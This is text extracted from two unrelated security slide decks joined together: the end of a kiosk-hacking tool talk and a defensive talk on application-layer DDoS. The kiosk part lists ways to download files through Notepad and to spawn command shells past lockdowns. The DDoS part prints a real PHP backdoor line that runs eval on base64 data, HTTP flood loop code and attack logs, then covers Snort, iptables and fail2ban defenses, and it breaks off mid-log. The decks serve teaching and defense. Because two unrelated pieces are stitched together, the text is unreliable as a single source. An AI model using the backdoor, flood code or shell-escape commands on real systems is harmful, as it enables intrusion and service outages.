to not download binaries. Downloading Tools  Downloading Files Using Native Windows Functionality:  Common Dialogs  ‘Attach’ a file from a remote resource: http://www.a.com/test.exe  FPSE/Web DAV file saved locally and attaches.  Works From Any File->Open Dialog.  File saved in a writeable location.  Temporary internet files.  Downloads any file type. Downloading Tools  Notepad Is A Web Browser.  File->Open  http://test.com/trojan.txt  File downloaded.  File->Save  Upload content to a remote site.  FPSE/WebDav  http://www.ok.com/blah.txt  Crazy Windows Functionality. Downloading Tools  Kiosk Hacking Tools Provided by iKAT:  Command Shells:  Unlocked Cmd.exe (does not verify DisableCMD registry key)  Network Tools  Netcat, GNU WGet, Nmap.  Exploitation Aids  Enable Hidden or Disabled ‘Start’ bar.  Application Executor  Automatically spawn 52 system applications.  Taskmgr, explorer, notepad, regedit, on screen keyboard. Downloading Tools  Exploitation Aids:  Spawn a Command Shell Through Detours  How many ways to spawn a command shell on Windows?  Win.com? Loadfix.com? Start? Combinations of both?  ACL’s on the Kiosk block cmd.exe, what about command.com?  ‘CMD Detours’ tool tries 17 methods of invoking a console shell.  All Tools Available in 7Bit Safe VBScript!  Download tool with notepad, Copy/Paste VBScript. cmd.exe command.com win.com cmd.exe win.com command.com Loadfix.com start.exe sc create testsvc binpath= "cmd /K start" type= own type= interact loadfix.com cmd.exe loadfix.com command.com start loadfix.com cmd.exe start loadfix.com command.com start loadfix.com cmd.exe %COMSPEC% About iKAT  Using iKAT  iKAT is a tool designed to aid penetration testing.  Use it to configure your own Kiosk securely!  Test your own blacklists, increase your own level of security.  Disable vulnerable browser plug-ins.  Configure browser security zones.  Feedback Welcome:  Submit a feature request, report a bug functionality.  100% Open Sourced Soon.  iKAT Portable being released soon  Downloadable version you can host locally, memory stick. Kiosk Hacking Demonstrations:  Two commercial Kiosk products.  Recommended Kiosk application configuration.  Default Windows XP install. Conclusion Happy Hacking. Questions? Email me: [email protected]
pdf
1 Humor – Your Adversaries 2 This is how your adversaries envision their DDoS attacks on your webserver: Humor – Your Webserver 3 This is how your webserver will respond after implementing some of the defensive strategies that this talk will cover: Background •  Personal –  Blake currently works as a principal security architect. He was directly involved with defending against Operation Ababil and has worked to defend SX against various DDoS attacks. –  Cisc0ninja works in threat intelligence and has been a long time member of SX. –  We both did infosec in the USMC •  Disclaimer –  Opinions/ideas/solutions are from us and not representative or from our employers. –  Some humor images have explicit language in them. 4 What This Speech Will Cover •  Requirements (for our examples) •  Introduction •  Attack Landscape –  Attacks from Operation Ababil and SX •  Network Defense and Monitoring –  Tools and techniques to provide defense and monitoring on the network •  Web Defense and Detection –  Tools and techniques to provide defense and detection on the webserver •  Reacting to an Attack –  How to handle DDoS when your organization is under fire •  Best Practices –  Putting it all together •  Story Time –  Stories of attacks against SX and the aftermath 5 Requirements •  What do you need for our examples? –  Linux/Unix –  Apache2 –  Python and Perl –  Raspberry Pi •  16x2 LCD for RoboAmp (-l lcd option) –  Snort •  Inline if possible –  Network sniffer •  Hardware if possible –  Critical thinking skills •  We’re trying to teach you how to adapt your defenses as the attackers improve their offensive capabilities 6 •  Why this talk is relevant –  Layer 7 (Application) DDoS attacks have been on the rise since at least 2010. Operation Ababil was low in technical complexity, but had a major impact on the financial sector. –  DDoS one of the preferred methods by hacktivists as a form of protest. –  What about CloudFlare/Prolexic/etc •  Cost •  Security through obscurity (only as secure as your IP address) for non BGP based solutions –  Web sites often leak IP addresses –  Historical records –  DNS bruteforcers (such as Knock) –  PTR records •  Privacy concerns 7 Introduction - Relevance •  What this talk is –  A look at real world layer 7 DDoS attacks and defenses –  An instruction in how to approach DDoS defense as adversaries change their attacks –  Free code and examples –  A bit of humor at the expense of people who conduct DDoS attacks •  What this talk is not –  Silver bullet to solve all DDoS attacks –  A political stance on DDoS –  A cry for people to DDoS SX even more –  Us selling you a product 8 Introduction – What this talk is •  Layer 7 DDoS –  Amplification attacks – biggest pipe wins –  HTTP DDoS – our focus •  Large amounts of GET/POST requests •  Downloading massive files (such as PDFs) •  Hitting expensive queries such as search functions –  Other application DDoS attacks – future fun •  Why? –  Lack of skill level necessary to do intrusions –  Political Protest –  Unwillingly participation? –  Or my favorite… 9 Attack Landscape •  John Gabriel’s (Penny Arcade) greater internet fuckwad theory: 10 Why (continued) •  Layer 7 DDoS –  Drives down cost of DDoS –  High ROI for attackers –  Evades most current carrier mitigations •  Our Goals –  Drive up attacker costs –  Reduce our defensive costs •  Techniques rather than products –  Mitigate when possible –  Get people thinking about solutions to the DDoS problem 11 Attack Landscape – On the Rise Example Attacks (AQCF) •  Operation Ababil –  Large scale DDoS attack via php based botnet (BroBot) against American financial institutions –  Wordpress/joomla/etc sites were backdoored with a simple code modification From: defined( '_JEXEC' ) or die( 'Restricted access' ); To: defined( '_JEXEC' ) or die(@eval(base64_decode($_REQUEST['c_id']))); –  Backdoored sites then were called to do massive GET/POST attacks (large pdf, search functions, etc) Example 1: for($i=0;$i<4000;$i++){ fwrite($socket, "POST / HTTP/1.0\r\nHost: ".$host."\r\nAccept: */*\r\nContent-Length: ".strlen($data)."\r\n\r\n".$data); fclose($fp); } Example 2: for($i = 0;$i < $num;$i++){ $fp = fsockopen("tls://".$parts['host'], 443); stream_set_timeout($fp, 300); fwrite($fp, http_req()); stream_set_blocking($fp, 0); $target_sockets[] = $fp; } function http_req(){ $rand = md5(microtime().rand(0,500)); $host = $parts['host']; $path = $parts['path']; return "POST $path HTTP/1.1\r\n” . "Host: $host\r\n” . "User-Agent: ".$ua[rand(0,count($ua)-1)]."\r\n” . "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n” . "Accept-Language: en-us,en;q=0.5\r\n" . "Accept-Encoding: gzip, deflate\r\n” . "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n" . "Connection: Keep-Alive\r\n” . "Cache-Control: no-cache\r\n” . "Referer: ".$referer."\r\n" . "Cookie: ".getcookie()."\r\n” . "X-FORWARDED-FOR: ".ipgen()."\r\n” . "Via: ".ipgen()."\r\n" ."CLIENT-IP: ".ipgen()."\r\n” . "Content-Type: application/x-www-form-urlencoded\r\n” . "Content-Length: ” . strlen($postdata) . "\r\n\r\n” 12 Example Attacks (SX) •  Attacks against soldierx.com –  Mostly small scale DDoS attacks by individuals angry from forum comments, wanting HDB (hacker database) fame, or false HDB changes Examples: 174.61.38.237 - - [24/Jul/2013:22:44:36 -0400] "GET /system/files/images/critical_dirtypanties01.preview.jpg HTTP/1.1" 403 30581 "-" "Dalvik/1.6.0 (Linux; U; Android 4.2.2; Nexus 7 Build/JDQ39)" 174.61.38.237 - - [24/Jul/2013:22:44:38 -0400] "GET /system/files/images/critical_dirtypanties01.preview.jpg HTTP/1.1" 403 30580 "-" "Dalvik/1.6.0 (Linux; U; Android 4.2.2; Nexus 7 Build/JDQ39)” 199.255.209.208 - - [02/Nov/2013:07:45:56 -0400] "GET / UZMVEXPCUGYSFDXJUGIPKHBCNEPYNFZMUTEIRILNWACYKGKLLJWWIEAUHVENVHGKCTCJRAPFKGGWPMZRSESXH SOEMRAUVELTNOI=RYPTYZNXFBPKCIUUKIULSBJISCKMVMFLNYAJOIPQODOPWXNMEBLVRLDMHSSHOBQTPQBDOWU WEDOWGDAFFETPKWBMXHSGYLVWLTA HTTP/1.1" 302 8 34 "-" "*" 199.255.209.208 - - [02/Nov/2013:07:45:56 -0400] "GET / VQQFETHNZLTJSHTKQULAMBELWBRTPAZVKXUECZTZRVCNKZFNMYXBXGDHPJJKWAFXNRCEMPFILVSNYSKGLZFTWG VLPUQYVGCZNOV=TZVOFJYTDSHBJBZYZRGIRCOHSSLARSUBEBLJJZMOFAEUYJCHTAQHWPYDOTHXSRLEBMLJDHSZZ LDWXMEKASYJPTQDQIXZUKVKHUZ HTTP/1.1" 302 834 "-" "*” 209.73.151.188 - - [16/May/2013:07:12:47 -0400] "GET /?= HTTP/1.1” 403 1199 "http://www.google.com/?q=" "Fuck You motherfucker - TANGO DOWN (+http://twitter.com/VoXLulz1” 209.73.151.188 - - [16/May/2013:07:12:47 -0400] "GET /?= HTTP/1.1” 403 1199 "http://www.usatoday.com/search/results?q=" "Fuck You motherfucker - TANGO DOWN (+http://twitter.com/VoXLulz1" 209.73.151.188 - - [16/May/2013:07:12:47 -0400] "GET /?= HTTP/1.1” 403 1199 "http://engadget.search.aol.com/search?q=" "Fuck You motherfucker - TANGO DOWN (+http://twitter.com/VoXLulz1” 209.73.151.188 - - [16/May/2013:07:12:47 -0400] "GET /?= HTTP/1.1” 403 1199 "http://www.soldierx.com/" "Fuck You motherfucker - TANGO DOWN (+http://twitter.com/VoXLulz1” 91.121.19.26 - - [11/Mar/2013:02:40:26 -0400] "GET /node HTTP/1.0" 200 12062 "https://www.soldierx.com/" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0" 91.121.19.26 - - [11/Mar/2013:02:45:41 -0400] "GET /node/ HTTP/1.0" 301 5257 "https://www.soldierx.com/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)" 91.121.19.26 - - [11/Mar/2013:02:45:45 -0400] "GET /node HTTP/1.0" 200 12062 "https://www.soldierx.com/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)" 91.121.19.26 - - [11/Mar/2013:02:46:29 -0400] "GET /node/ HTTP/1.0" 301 5257 "https://www.soldierx.com/" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]” 13 Example Attacks (DESU) •  41.70.152.59 - - [13/Oct/2013:12:35:11 -0400] "A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A c" 414 456 "-" "-" 14 Network Defense •  Carrier (ISP) –  Often mixed capabilities –  Blacklisting malicious IP addresses –  Limit packets/sessions/bandwidth per second per IP –  Blackhole protocol/port (e.g. discard traffic from UDP Floods) •  IPS (e.g. Snort) –  IPS rules are often ideal for dropping layer 7 DDoS traffic before it reaches the webserver –  For our examples, we will be using Snort inline •  Load Balancers (e.g. F5) –  iRules can be used to drop traffic and mitigate many layer 7 DDoS attacks •  Firewalls (e.g. iptables) –  Blacklisting malicious IP addresses •  Geographically or by type can be useful or useless depending on adversaries •  SX blacklists egihosting.com for example –  Limit packets/sessions/bandwidth per second per IP Remember our good skid friend VoXLulz1? 209.73.151.188 - - [16/May/2013:07:12:47 -0400] "GET /?= HTTP/1.1” 403 1199 "http:// www.google.com/?q=" "Fuck You motherfucker - TANGO DOWN (+http://twitter.com/VoXLulz1” 15 Network Defense Examples •  Blocking VoxLulz1 with snort inline drop tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"HTTP VoxLulz UA detected"; flow:to_server,established; content:"User-Agent|3A 20|Fuck You motherfucker - TANGO DOWN (+http|3A|//twitter.com/VoXLulz1"; http_header; fast_pattern:only; reference:url,soldierx.com/defcon22/dont_ddos_me_bro-blake_cisc0ninja.ppt; classtype:web-application-attack; sid:x; rev:1;) •  Blocking VoxLulz1 with F5 iRules when HTTP_REQUEST { if {([HTTP::header "User-Agent"] matches "Fuck You motherfucker - TANGO DOWN (+http://twitter.com/ VoXLulz1")} { log local0. "HTTP VoxLulz UA detected [IP::client_addr]" drop } } •  Blocking VoxLulz1 via egihosting.com block root@shinra:/# iptables -A INPUT -s 68.68.96.0/24 -j DROP •  Limiting connections with iptables Block IPs that do > 20 connections in 10 minutes: iptables -I INPUT -p tcp --dport 80-i eth0 -m state --state NEW -m recent --set iptables -I INPUT -p tcp --dport 80-i eth0 -m state --state NEW -m recent --update --seconds 600 --hitcount 20 -j DROP 16 Network Defense - Blocking TOR •  Isn’t TOR too slow to take you offline? –  It took hack3r.com offline (again in 2014) •  https://www.soldierx.com/bbs/201306/Attacks-against-hack3rcom •  Is blocking TOR wrong? –  Many attacks come from TOR and it may not make sense for your site to be reachable via TOR (such as a shopping site or banking site) #!/bin/bash # Block Tor Exit nodes IPTABLES_TARGET="DROP" IPTABLES_CHAINNAME="TOR” if ! iptables -L TOR -n >/dev/null 2>&1 ; then iptables -N TOR >/dev/null 2>&1 iptables -A INPUT -p tcp -j TOR 2>&1 fi cd /tmp/ echo -e "\n\tGetting TOR node list from dan.me.uk\n" wget -q -O - "https://www.dan.me.uk/torlist/" -U SXTorBlocker/1.0 > /tmp/full.tor sed -i 's|^#.*$||g' /tmp/full.tor iptables -F TOR CMD=$(cat /tmp/full.tor | uniq | sort) for IP in $CMD; do let COUNT=COUNT+1 iptables -A TOR -s $IP -j DROP done iptables -A TOR -j RETURN echo -e "\n\tiptables is now blocking TOR connections\n” rm /tmp/full.tor 17 Network Monitoring •  IDS (e.g. Snort) –  IDS rules can be used for detection in place of blocking. For our example, we will be using Snort: alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"HTTP VoxLulz UA detected"; flow:to_server,established; content:"User-Agent|3A 20|Fuck You motherfucker - TANGO DOWN (+http|3A|//twitter.com/VoXLulz1"; http_header; fast_pattern:only; reference:url,soldierx.com/defcon22/dont_ddos_me_bro-blake_cisc0ninja.ppt; classtype:web-application-attack; sid:x; rev:1;) •  Load Balancers (e.g. F5) –  iRules can be used to log traffic of many layer 7 DDoS attacks when HTTP_REQUEST { if {([HTTP::header "User-Agent"] matches "Fuck You motherfucker - TANGO DOWN (+http://twitter.com/ VoXLulz1")} { log local0. "HTTP VoxLulz UA detected [IP::client_addr]" #drop } } •  Monitoring Software (e.g. RoboAmp) –  Runs on a Raspberry Pi –  Uses <= 5 watts of power –  Displays site status on 16x2 LCD –  Sends an SMS message to SX Staff if there is a disruption. 18 RoboAmp Network Monitoring •  Options –  d - Deep check (check url content) –  p - Ping check (check network connectivity) –  u <url> - URL of site to check –  s <offlineString> - String to look for to verify site is offline –  l - Use 16x2 LCD (Raspberry PI) –  g <gmailAddress> - Gmail address for google voice SMS notification –  t <seconds> - Seconds to wait between checks (defaults to –  v - Turns on extra verbosity –  Example Usage: ./RoboAmp -d -u https://www.soldierx.com/admin -s 'Site off-line' -g [email protected] -t 120 ./RoboAmp -p -u http://www.soldierx.com -g [email protected] -t 300 19 Web Defense •  We will be focusing on Apache2 as this is the web server that SX currently uses, but many techniques will work on other webservers •  .htaccess –  Protect files/directory listings –  Block user agents –  Other clever things like redirecting bad requests/user agents back to themselves, or somewhere like fbi.gov •  mod_evasive (equivalent of IIS Dynamic IP Restrictions) –  Creates an internal dynamic hash table of IP Addresses and URIs •  Limit number of requests per file per time interval (seconds) •  Limit number of overall site requests per time interval (seconds) •  Default returns 403 for the blocking period, can also run a system command •  Provides ability to notify via email when attacks occur •  Great for driving up attacker costs •  Do these methods really work? 20 Web Defense – Know Your Enemy •  Yes, these methods have worked well for SX (and others) •  Why? 21 Web Defense – Apache2 Examples •  .htaccess Block him: SetEnvIf User-Agent ”.*Fuck.*" Skid=1 Deny from env=Skid •  .htaccess + mod_rewrite Redirect him to himself: <IfModule mod_rewrite.c> RewriteCond %{HTTP_USER_AGENT} ^.*Fuck.*$ RewriteRule .* http://%{REMOTE_ADDR}/ [R,L] </IfModule> Redirect him somewhere more interesting: <IfModule mod_rewrite.c> RewriteCond %{HTTP_USER_AGENT} ^.*Fuck.*$ RewriteRule .* http://www.fbi.gov/ [R,L] </IfModule> •  Mod_evasive sample config <IfModule mod_evasive20.c> DOSHashTableSize 3097 DOSPageCount 3 DOSSiteCount 50 DOSPageInterval 3 DOSSiteInterval 5 DOSBlockingPeriod 1800 DOSEmailNotify [email protected] DOSLogDir /var/log/mod_evasive DOSWhitelist 192.168.42.* </IfModule> 22 •  Fail2Ban –  Designed to protect against brute-force attacks by analyzing error logs –  Can be pointed at access logs and used for DDoS defense •  Provides both blocking and notification Remember this “random” pattern from earlier? 89.253.109.119 - - [02/Nov/2013:07:46:01 -0400] "GET / CXZBIWYCXLBEKOELCZOTDTSBPWVIRBIGTCMGDJZKWEAHIBRFSQFDDEOQOLNUYRPLBWFNNKGUFBSXITRDGFW QNBSOANJVMVLVEIZ=DZYRGTBVAVSJBVCDRLQBHPOXMOEVMVQDRYXPHZZHUMMSTISKMUXOEORVFQOYESHSV NNDFRPVDITJAYNZSBVYKODFLULLQQNUQOM HTTP/1.1" 404 15650 "-" "*" 89.253.109.119 - - [02/Nov/2013:07:46:00 -0400] "GET / PATPDDSYOSWBPDYMHXLTFUUUYFDACLKBNHHCTVSPFKOLFKQGMRTFBDLDRVINIXXAEVIOKHOCLPGIGHRNDQL QPCIXIKOLGXPHQMB=GFFGXISPOEGSIUOFQWQIBYVWMCNXIEZZSRPQGKWJDQLTUANRUUTUEQEYXMKNXXXCCQ EXSLVNIKBJHABQCEATNSOTGSKYGSFKSQX HTTP/1.1" 404 15650 "-" "*” 199.255.209.208 - - [02/Nov/2013:07:45:56 -0400] "GET / UZMVEXPCUGYSFDXJUGIPKHBCNEPYNFZMUTEIRILNWACYKGKLLJWWIEAUHVENVHGKCTCJRAPFKGGWPMZRSES XHSOEMRAUVELTNOI=RYPTYZNXFBPKCIUUKIULSBJISCKMVMFLNYAJOIPQODOPWXNMEBLVRLDMHSSHOBQTPQB DOWUWEDOWGDAFFETPKWBMXHSGYLVWLTA HTTP/1.1" 302 834 "-" "*" 199.255.209.208 - - [02/Nov/2013:07:45:56 -0400] "GET / VQQFETHNZLTJSHTKQULAMBELWBRTPAZVKXUECZTZRVCNKZFNMYXBXGDHPJJKWAFXNRCEMPFILVSNYSKGLZFT WGVLPUQYVGCZNOV=TZVOFJYTDSHBJBZYZRGIRCOHSSLARSUBEBLJJZMOFAEUYJCHTAQHWPYDOTHXSRLEBML JDHSZZLDWXMEKASYJPTQDQIXZUKVKHUZ HTTP/1.1" 302 834 "-" "*" 199.255.209.208 - - [02/Nov/2013:07:45:56 -0400] "GET / PYFFDUKUCRSYUCXQCKCAUOQMFZVNOBVLOVHEMOKRCJZUOECQVVTJTVAWLEJNORYKLPGAXIMTCOKDPVYER WUBDWJLVSKHAUAEHMV=MBTLZQPNGNRCYVFFUKOYALFDOUWHLRNSECAANEFQNOOLCTWYAFWFXOXSRWPJJ OBVXKGJSTGKQWLUZZKQJJMUTVNNIVALPZOOSTW HTTP/1.1" 302 834 "-" "*" 199.255.209.208 - - [02/Nov/2013:07:45:56 -0400] "GET / PATPDDSYOSWBPDYMHXLTFUUUYFDACLKBNHHCTVSPFKOLFKQGMRTFBDLDRVINIXXAEVIOKHOCLPGIGHRNDQL QPCIXIKOLGXPHQMB=GFFGXISPOEGSIUOFQWQIBYVWMCNXIEZZSRPQGKWJDQLTUANRUUTUEQEYXMKNXXXCCQ EXSLVNIKBJHABQCEATNSOTGSKYGSFKSQX HTTP/1.1" 302 834 "-" "*” Web Defense – Fail2Ban 23 Web Defense – Fail2Ban Example 24 Turn “randomized” DDoS attack into a worthless attempt jail.conf #DDoS blocks for SX [apache-dos] enabled = true port = http,https filter = apache-dos banaction = iptables-allports action = %(action_mwl)s logpath = /var/log/apache*/*access.log maxretry = 1 destemail = [email protected] ignoreip = 127.0.0.1 192.168.0.0/16 bantime = 86400 apache-dos.conf [Definition] # Option: failregex # Notes: Designed to stop lame DDoS. No DDoS For You! failregex = ^<HOST>.*GET \/[A-Z]{99}\=[A-Z]{99}.*$ # ignoreregex is here as fail2ban needs it, but we do not. ignoreregex = Web Defense – Additional Ideas •  Caching –  Caching systems can cache generated data and greatly reduce load on the server –  A number of caching systems exist •  SX is based on Drupal and uses boost for caching •  Associates have reported success using Squid Proxy for caching •  Other Apache Defenses –  mod_bwshare •  Throttle bandwidth per client (IP) –  mod_limitipconn •  Limit # of simultaneous connections per IP •  Attempt to Detect Bots –  Captcha –  Custom Javascript •  Detect keystrokes, mouse events, etc 25 Web Defense – Improved Code •  Strict validation and filtering on user input •  Properly release resources •  Set limits –  Session related objects and memory allocated –  Token expiration –  Loop counters –  Concurrent session tokens per IP address –  Expensive queries (often searches) per IP address •  Cache results of expensive queries when possible •  Optimize DB structure for application •  Test code against DoS/DDoS –  Should be part of quality assurance in your organization 26 •  Don’t Panic! •  Verify Attack –  Attack or just youtube? •  Read logs –  Web logs are often ideal initially –  Get top talkers and block on malicious ones •  # cat access.log | awk '{print $1}' | sort | uniq -c | sort –n •  Use some sort of reputation system, especially if sharing the data to other organizations •  We use a small home grown tool called “reputator” 27 Reacting to an Attack •  Using Desu attack for this example •  Get top talkers from web server logs –  Decide on a cutoff count # cat access.log | awk '{print $1}' | sort | uniq -c | sort –n (x’s used to mask full IP addresses) 620 70.75.x.x 626 89.110.x.x 644 64.128.x.x 689 71.195.x.x 695 66.249.x.x 730 89.0.x.x 740 50.130.x.x 776 81.211.x.x 858 99.12.x.x 859 190.154.x.x 889 74.110.x.x 922 101.119.x.x 1009 50.154.x.x 1091 188.51.x.x 1123 62.234.x.x 1129 66.74.x.x 1354 192.168.x.x 1456 66.249.x.x 1709 132.206.x.x 1864 41.70.x.x 2390 192.168.x.x 28 Top Talkers Example # ./reputator.py ips.txt torlist desu.csv -=====================================================- reputator .005 by: Blake Self -=====================================================- IP: 50.154.x.x Rating: 85 Tor:False ISP:Comcast Cable Communications Holdings Inc Location:Kendall, FL, USA Result: EVIL IP: 188.51.x.x Rating: 85 Tor:False ISP:Saudinet Saudi Telecom Company Location:Riyadh, Ar Riyad, Saudi Arabia Result: EVIL IP: 62.234.x.x Rating: 95 Tor:False ISP:Online Adsl Customers With Static Addresses Location:Amsterdam, Netherlands Result: EVIL IP: 66.74.x.x Rating: 95 Tor:False ISP:Time Warner Cable Internet Llc Location:Berwyn, IL, USA Result: EVIL IP: 192.168.x.x Rating: 50 Tor:False ISP:Private Ip Address Lan Location:-, -, - Result: GOOD IP: 66.249.x.x Rating: 50 Tor:False ISP:Google Inc. Location:Mountain View, CA, USA Result: GOOD IP: 132.206.x.x Rating: 50 Tor:False ISP:Mcgill University Location:Montreal, Quebec, Canada Result: GOOD IP: 41.70.152.59 Rating: 85 Tor:False ISP:Movicel Telecomunicacoes Lda Location:Luanda, Luanda, Angola Result: EVIL IP: 192.168.x.x Rating: 50 Tor:False ISP:Private Ip Address Lan Location:-, -, - Result: GOOD # cat access.log | fgrep 41.70.152.59 41.70.152.59 - - [13/Oct/2013:12:43:00 -0400] "A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. 